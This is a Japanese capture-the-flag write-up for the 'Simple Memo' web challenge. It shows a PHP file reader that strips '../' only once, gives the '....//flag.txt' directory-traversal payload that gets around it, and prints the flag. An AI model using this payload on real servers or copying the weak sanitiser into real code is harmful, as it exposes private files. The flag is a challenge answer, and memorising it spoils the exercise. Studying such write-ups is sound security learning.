Skip to content

Latest commit

 

History

History

Simple_Memo

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 

Simple Memo:Web:101pts

問題ページ:https://simple.wanictf.org/
flag.txtというファイルに私の秘密を隠したが、 完璧にサニタイズしたため辿りつける訳がない。
(Hint) ディレクトリトラバーサルという脆弱性です。
何がサニタイズされているかを知るためにソースコード(reader.php)を参考にしてみてください。
(注意)
simple_memo.zipは問題を解くために必須の情報ではなく、docker-composeを利用してローカルで問題環境を再現するためのものです。
興味のある方は利用してみてください。
reader.php    simple_memo.zip

Solution

URLにアクセスするとメモが見える。
The シンプル メモ張
site.png
メモは以下のようになっている。
memos
flag.txtに秘密が隠されているようだ。
配られたreader.phpを見ると以下のようであった。

<?php
function reader($file) {
  $memo_dir = "./memos/";

  // sanitized
  $file = str_replace('../', '', $file);
  
  $filename = $memo_dir . $file;
  $memo_exist = file_exists($filename);
  if ($memo_exist) {
    $content = file_get_contents($filename);
  } else {
    $content = "No content.";
  }
  return $content;
}
?>

../を削除しているのみなので、....//../となる。
つまり....//flag.txtを見てやればよい。
https://simple.wanictf.org/index.php?file=....//flag.txtを見るとflagが表示された。
flag
flag.png

FLAG{y0u_c4n_get_hi5_5ecret_fi1e}